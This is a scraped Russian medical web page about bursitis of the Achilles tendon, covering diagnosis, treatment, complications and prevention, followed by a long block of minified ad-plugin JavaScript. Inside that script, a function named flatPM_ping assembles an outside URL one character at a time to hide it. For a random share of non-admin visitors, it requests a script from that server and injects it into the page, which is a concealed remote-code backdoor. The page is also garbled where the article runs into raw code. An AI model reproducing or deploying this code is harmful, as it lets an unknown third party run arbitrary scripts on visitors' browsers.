При появлении тревожных симптомов медлить с визитом к врачу не нужно. Чем раньше будет диагностирована болезнь, тем больше шансов на эффективное лечение без операции. На ранних стадиях болезни нужно обращаться к ортопеду или ревматологу.

Более запущенные формы бурсита ахиллова сухожилия поддаются только оперативному лечению, которое проводится хирургом.

Лечение для каждого пациента подбирается в индивидуальном порядке в зависимости от результатов диагностики и степени запущенности болезни.

Самолечением заниматься недопустимо, потому что так можно только усугубить ситуацию.

Дифференциальная диагностика

Подобрать наиболее оптимальное направление лечения бурсита ахиллова сухожилия врач сможет только после прохождения пациентом обследования, которое включает:

  • сбор анамнеза;
  • осмотр пораженной области врачом;
  • проведение тестов;
  • визуальные методы исследования.

Первичная пальпация области ахиллесова сухожилия.

Дифференциальная диагностика позволяет по полученным показателям точно поставить диагноз, выявить или исключить наличие других патологий. Опытный специалист заподозрит бурсит ахиллова сухожилия уже по припухлости в области пятки.

После этого он опросит пациента, пальпирует пораженное место и область вокруг него. Врачу необходимо тщательно проверить сухожилие, хотя пациенту это может доставить довольно болезненные ощущения.

При подозрении на бурсит ахиллова сухожилия направляют пациента на другие исследования, чтобы подтвердить предполагаемый диагноз:

  • УЗИ. Ультразвуковая диагностика, обладая высокочастотными звуковыми волнами, позволяет получить изображения наличия или отсутствия разрывов сухожилий или повреждения связок;
  • МРТ. Ввиду того, что при помощи рентгена сложно увидеть состояние мягких тканей, больному с подозрениями на ахиллобурсит необходимо пройти МРТ. Это специальный аппарат, которые использует магнитные волны, показывает мягкие ткани, четко отображает все структуры опорно-двигательного аппарата. Процедура абсолютно безболезненная.

По результатам проведенной диагностики врач может не только подтвердить наличие бурсита ахиллова сухожилия, но и определиться, нужно ли проводить хирургическое вмешательство или возможно лечение безоперационными методами.

Особенности лечения

Нет однотипного лечения для всех, каждое назначение делается индивидуально. Чаще всего применяются такие методы терапии:

Как лечить медикаментозно — мази и препараты

Курс терапии включает анальгетики и нестероидные препараты противовоспалительного действия, мази от бурсита. При наличии в организме инфекции назначаются антибиотики. Каждый препарат может назначить только лечащий доктор;

Ударно-волновое лечение

Суть терапии заключается в воздействии на мышечные ткани, связки и сухожилия. Лечение оказывает благотворное воздействие, повышает эластичность, устраняя воспалительный процесс;

Магнитотерапия

Терапия направлена на усиление природной циркуляции крови и обменных процессов в организме, снижения объема экссудата, обеспечение нормального оттока жидкости;

Лазерная терапия

Воздействуя лазером, из тканей устраняются нарушения, возникшие из-за воспалительного процесса. Лазер удаляет избыток жидкости в синовиальной полости;

Рентгенотерапия

Применяется крайне редко, потому что излучение может вызвать ряд осложнений. На сегодняшний день такое лечение имеет хорошую эффективность, когда физиотерапия и лечение медикаментами не дало результата;

Операция

При особенно запущенных формах болезни показано хирургическое вмешательство.

Народными средствами в домашних условиях

При лечении бурсита народными средствами, они могут использоваться только как профилактические или вспомогательные меры. Они не могут заменить традиционного лечения. Любое народное средство для лечения бурсита ахиллова сухожилия можно использовать только по назначению врача. Самолечение может привести к непредвиденным последствиям.

После оперативного вмешательства всегда назначают курс гимнастических упражнений.

Возможные осложнения

На начальных стадиях бурсит ахиллова сухожилия легко лечится и не несет угрозы здоровью человека. Опасным может быть только инфекционный вид патологии, особенно когда отсутствует лечение.

В таких случаях болезнь грозит не только серьезными осложнениями, но и вероятностью летального исхода.

Посттравматический вид ахиллобурсита может привести к ограничениям двигательной активности, невозможностью нормально передвигаться на протяжении всего времени, пока не пройдет воспалительный процесс.

При отсутствии лечения и постоянных тяжелых нагрузках патология со временем перейдет в хроническую стадию. В таких случаях пациенту часто показано хирургическое вмешательство, потому что традиционное лечение уже может быть не эффективным.

Осложнения бурсита ахиллова сухожилия могут привести к полной потере двигательной активности (инвалидность).

Профилактика

Чтобы предотвратить появление различных проблем в костно-мышечной системе, необходимо избегать механического воздействия и тяжелых физических нагрузок. Здоровье организма и всех его систем обеспечит сбалансированный рацион, ликвидация чрезмерного веса, правильный выбор обуви. Рекомендации:

  • в рационе обязательно должна быть растительная пища, а также продукты, богатые ценными для него витаминами и минералами;
  • необходимо всегда следить, чтобы не было резких изменений веса. Если добавились лишние килограммы, соответственно, добавилась и лишняя нагрузка на ноги, нужно корректировать вес. Поможет в этом диетическое питание и гимнастика. Советы относительно упражнений и диеты может дать лечащий врач.
  • обувь должна быть максимально комфортной, широкой, не сдавливать стопу и не повышать на нее нагрузку. Особенно это касается представительниц прекрасного пола, которые часто выбирают обувь на высоком каблуке или со слишком зауженным носком. Если самостоятельно подобрать не получается, проконсультироваться у ортопеда, какая именно обувь будет наилучшей. Возможно, потребуется дополнительно приобрести супинаторы или ортопедические стельки;
  • постараться свести к минимуму травмирование нижних конечностей. Всячески избегать переломов, ран, крупных царапин, через которые в организм может попасть инфекция и спровоцировать развитие воспалительного процесса;
  • после излечения бурсита ни в коем случае не допускать, чтобы ноги переохлаждались. В некоторых случаях врач может порекомендовать санаторно-курортное лечение, что позволит организму окрепнуть, снизит вероятность повторного возникновения болезни.

Благодаря соблюдению таких несложных рекомендаций, можно защитить себя от такой неприятной болезни, как бурсит ахиллова сухожилия, а если патология уже имеется, избавиться от нее как можно быстрее.

Одним из главных профилактических средств против развития и прогрессирования патологии является выбор правильной обуви.

Видео

В этом видео рассказывают про специфику лечения и реабилитации при бурсите ахиллова сухожилия.

Выводы

  1. Бурсит ахиллова сухожилия – это воспалительный процесс в синовиальной сумке, который может быть острым или хроническим.
  2. Действенные методы профилактики дают возможность избежать воспалительного процесса.

  3. Обращаться к врачу нужно сразу же, как появились первые симптомы патологии. Любое промедление может привести к серьезным осложнениям, особенно если это инфекционный ахиллобурсит.

  4. Лечение может подбираться исключительно врачом после прохождения пациентом обследования и выявления причин воспалительного процесса.
  5. Самостоятельное лечение при бурсите ахиллова сухожилия недопустимо.

Также рекомендуем ознакомиться с упражнениями при артрозе нижнечелюстного сустава представленными в данной статье.

Источник: https://ProOporu.com/bolezni-sustavov/bursit/golenostopa/ahillova-suhozhiliya.html

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0 *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|?\w+;/,c={option:[1,""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1>$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith(''):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};